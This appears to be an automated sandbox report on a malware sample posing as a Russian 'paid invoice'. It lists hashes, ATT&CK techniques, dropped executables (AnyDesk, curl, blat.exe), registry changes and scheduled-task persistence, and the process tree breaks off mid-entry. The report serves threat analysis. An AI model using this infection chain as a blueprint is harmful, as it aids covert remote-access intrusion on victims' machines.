864b83647942f5dec0746fb5a40cdcc661bbbceea0b8cbe5df0beb9f30c30d0f

Analysis

max time kernel
149s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 09:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Оплаченый счет.com.exe
Size 1.3MB
Sample260722-lplseaserb
SHA256 864b83647942f5dec0746fb5a40cdcc661bbbceea0b8cbe5df0beb9f30c30d0f
MD5 42483f4f8487af89170eded647376519
SHA1 d1bb17261ec6f639362c9322fb6c82102b364c6f
SHA512 e478264199eb0ecf57791587b0714f0008130fbb1374b1c28ce34d3a3454d8ce920d36f5181406fa6d4a89f77e3318d7d31e51bffb5721d609b4061de8565a3d
SSDEEP 24576:kadGJsuhKFecp7MziuHgkCCpRrjVLJ5EVyk8wuUhgj7nPljs7JbSTRo3rZ:jGJ3KFey6iuHgkCCrdFJ3rlbo9
TLSH
T1615523403F22C6A6C9335B72AC6F4A94E763EE5E9441538737947205A8B31B0C97FED2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution persistence

Malware Config

Signatures

Executes dropped EXE 17 IoCs

pid	Process
1204	curl.exe
5576	driver.exe
3712	Trays.exe
5672	AnyDesk.exe
3156	4t-min64.exe
2540	AnyDesk.exe
4696	AnyDesk.exe
3336	AnyDesk.exe
2532	AnyDesk.exe
4468	AnyDesk.exe
2564	Process not Found
5616	AnyDesk.exe
3836	driver.exe
5968	blat.exe
4364	Trays.exe
5040	Process not Found
3464	Process not Found

Loads dropped DLL 27 IoCs

pid	Process
5044	Оплаченый счет.com.exe
5044	Оплаченый счет.com.exe
5044	Оплаченый счет.com.exe
3712	Trays.exe
3712	Trays.exe
3156	4t-min64.exe
3588	Process not Found
3476	msedge.exe
5672	AnyDesk.exe
4696	AnyDesk.exe
2540	AnyDesk.exe
4488	Process not Found
5660	Process not Found
2532	AnyDesk.exe
2532	AnyDesk.exe
4468	AnyDesk.exe
2532	AnyDesk.exe
3336	AnyDesk.exe
4624	msedge.exe
5616	AnyDesk.exe
3836	driver.exe
3836	driver.exe
5044	Оплаченый счет.com.exe
5044	Оплаченый счет.com.exe
1960	Process not Found
4364	Trays.exe
4364	Trays.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3476_147763262\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3476_311780263\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3476_311780263\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4712	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	driver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	driver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Оплаченый счет.com.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1120	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
968	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AnyDesk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AnyDesk.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134291869622604813"	msedge.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk	AnyDesk.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{1FB54F3B-9D2B-45BB-92A5-88CB57BBA1A4}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon\ = "\"C:\\joke\\AnyDesk\\AnyDesk.exe\",0"	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\URL Protocol	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command\ = "\"C:\\joke\\AnyDesk\\AnyDesk.exe\" \"%1\""	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command\ = "\"C:\\joke\\AnyDesk\\AnyDesk.exe\" --play \"%1\""	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\ = "URL:AnyDesk Protocol"	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon\ = "AnyDesk.exe,0"	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open	AnyDesk.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1120	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
204	schtasks.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
1204	curl.exe
1204	curl.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
5672	AnyDesk.exe
3712	Trays.exe
3712	Trays.exe
4624	msedge.exe
4624	msedge.exe
3712	Trays.exe
3712	Trays.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3712	Trays.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: 33	4468	AnyDesk.exe
Token: SeIncBasePriorityPrivilege	4468	AnyDesk.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
3476	msedge.exe
4696	AnyDesk.exe
4696	AnyDesk.exe
4696	AnyDesk.exe
4696	AnyDesk.exe
2532	AnyDesk.exe
2532	AnyDesk.exe
3712	Trays.exe
2532	AnyDesk.exe
2532	AnyDesk.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
4696	AnyDesk.exe
4696	AnyDesk.exe
4696	AnyDesk.exe
4696	AnyDesk.exe
2532	AnyDesk.exe
2532	AnyDesk.exe
2532	AnyDesk.exe
2532	AnyDesk.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3712	Trays.exe
3712	Trays.exe
3712	Trays.exe
3712	Trays.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 3476	5044	Оплаченый счет.com.exe	90
PID 3476 wrote to memory of 4116	3476	msedge.exe	91
PID 3476 wrote to memory of 4328	3476	msedge.exe	92
PID 3476 wrote to memory of 968	3476	msedge.exe	94
PID 3476 wrote to memory of 4328	3476	msedge.exe	92
PID 3476 wrote to memory of 4328	3476	msedge.exe	92
PID 5044 wrote to memory of 1204	5044	Оплаченый счет.com.exe	93
PID 3476 wrote to memory of 1180	3476	msedge.exe	95
PID 3476 wrote to memory of 1180	3476	msedge.exe	95
PID 3476 wrote to memory of 5724	3476	msedge.exe	97
PID 3476 wrote to memory of 6112	3476	msedge.exe	98
PID 3476 wrote to memory of 6112	3476	msedge.exe	98
PID 3476 wrote to memory of 6112	3476	msedge.exe	98
PID 3476 wrote to memory of 5724	3476	msedge.exe	97
PID 3476 wrote to memory of 5724	3476	msedge.exe	97
PID 3476 wrote to memory of 1080	3476	msedge.exe	100
PID 3476 wrote to memory of 1080	3476	msedge.exe	100
PID 3476 wrote to memory of 1080	3476	msedge.exe	100
PID 3476 wrote to memory of 2692	3476	msedge.exe	101
PID 3476 wrote to memory of 2692	3476	msedge.exe	101
PID 3476 wrote to memory of 2692	3476	msedge.exe	101
PID 3476 wrote to memory of 2652	3476	msedge.exe	102
PID 3476 wrote to memory of 2652	3476	msedge.exe	102
PID 3476 wrote to memory of 2652	3476	msedge.exe	102
PID 3476 wrote to memory of 4596	3476	msedge.exe	103
PID 3476 wrote to memory of 4596	3476	msedge.exe	103
PID 3476 wrote to memory of 4596	3476	msedge.exe	103
PID 3476 wrote to memory of 6108	3476	msedge.exe	104
PID 3476 wrote to memory of 6108	3476	msedge.exe	104
PID 3476 wrote to memory of 5892	3476	msedge.exe	106
PID 3476 wrote to memory of 5892	3476	msedge.exe	106
PID 3476 wrote to memory of 2820	3476	msedge.exe	107
PID 3476 wrote to memory of 2820	3476	msedge.exe	107
PID 3476 wrote to memory of 3492	3476	msedge.exe	109
PID 3476 wrote to memory of 5340	3476	msedge.exe	110
PID 3476 wrote to memory of 5340	3476	msedge.exe	110
PID 3476 wrote to memory of 4656	3476	msedge.exe	113
PID 3476 wrote to memory of 4656	3476	msedge.exe	113
PID 5044 wrote to memory of 5576	5044	Оплаченый счет.com.exe	114
PID 3476 wrote to memory of 3292	3476	msedge.exe	117
PID 3476 wrote to memory of 2900	3476	msedge.exe	118
PID 3476 wrote to memory of 708	3476	msedge.exe	119
PID 5044 wrote to memory of 3712	5044	Оплаченый счет.com.exe	120
PID 5044 wrote to memory of 4712	5044	Оплаченый счет.com.exe	121
PID 4712 wrote to memory of 5672	4712	cmd.exe	123
PID 3712 wrote to memory of 3156	3712	Trays.exe	124
PID 5672 wrote to memory of 2540	5672	AnyDesk.exe	125
PID 5672 wrote to memory of 4696	5672	AnyDesk.exe	126
PID 4712 wrote to memory of 1120	4712	cmd.exe	132
PID 3476 wrote to memory of 5740	3476	msedge.exe	133
PID 3476 wrote to memory of 5740	3476	msedge.exe	133
PID 3476 wrote to memory of 2856	3476	msedge.exe	137
PID 3476 wrote to memory of 2856	3476	msedge.exe	137
PID 3476 wrote to memory of 1508	3476	msedge.exe	138
PID 3476 wrote to memory of 1508	3476	msedge.exe	138
PID 3476 wrote to memory of 4624	3476	msedge.exe	139
PID 4712 wrote to memory of 4352	4712	cmd.exe	140
PID 4712 wrote to memory of 5616	4712	cmd.exe	141
PID 4712 wrote to memory of 3836	4712	cmd.exe	142
PID 4712 wrote to memory of 5968	4712	cmd.exe	143
PID 4712 wrote to memory of 204	4712	cmd.exe	144
PID 3476 wrote to memory of 3036	3476	msedge.exe	147
PID 3476 wrote to memory of 3036	3476	msedge.exe	147

C:\Users\Admin\AppData\Local\Temp\Оплаченый счет.com.exe
"C:\Users\Admin\AppData\Local\Temp\Оплаченый счет.com.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\joke\ERI_URL_Scan_5436.pdf
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffd24efc188,0x7ffd24efc194,0x7ffd24efc1a0
    3⤵
    PID:4116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1608,i,10071500643152305027,17275299457784409507,262144 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:2
    3⤵
    PID:4328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1812,i,12405479935288642419,17696510998583926495,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:11
    3⤵
    - System Time Discovery
    PID:968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2440,i,1249714368831792735,3666819315428278333,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:13
    3⤵
    PID:1180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,1873453430353178047,13087928476940313604,2097152 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:5724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,14911933038390839719,654026997105913807,2097152 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
    3⤵
    PID:6112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4232,i,1511246625056313051,13282914767325067964,2097152 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:9
    3⤵
    PID:1080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4220,i,5738407689798380562,3433936636660440876,2097152 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
    3⤵
    PID:2692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3696,i,12572887140105444348,5660781135595636317,2097152 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=3824 /prefetch:9
    3⤵
    PID:2652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5412,i,10463742286840887481,4259131028845459333,2097152 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:15
    3⤵
    PID:4596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,16936326557998510056,4080112700212300274,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:14
    3⤵
    PID:6108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5664,i,6727364799206645466,17509131854724826143,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:14
    3⤵
    PID:5892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5652,i,8918560305259918118,6558576420080790910,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:14
    3⤵
    PID:2820
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,3914904502339282503,1075111809575181201,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
    3⤵
    PID:1924
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,3914904502339282503,1075111809575181201,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
    3⤵
    PID:3492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6616,i,8867724447520094163,4736324853898790304,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:14
    3⤵
    PID:5340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6704,i,8794920887835075835,9091408478584296106,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:14
    3⤵
    PID:4656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6520,i,3661307230954836652,12415550809215645270,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:14
    3⤵
    PID:3292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6528,i,16715183683086911110,5815868422678263966,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:14
    3⤵
    PID:2900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6516,i,6750242198236017364,6878551775402848740,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=5032 /prefetch:14
    3⤵
    PID:708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2672,i,11541457996523742904,8962070019721394027,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:14
    3⤵
    PID:5740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,3892684220206113902,11307905197669285556,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:14
    3⤵
    PID:2856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,12675710440303110353,8072385909211328302,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:14
    3⤵
    PID:1508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
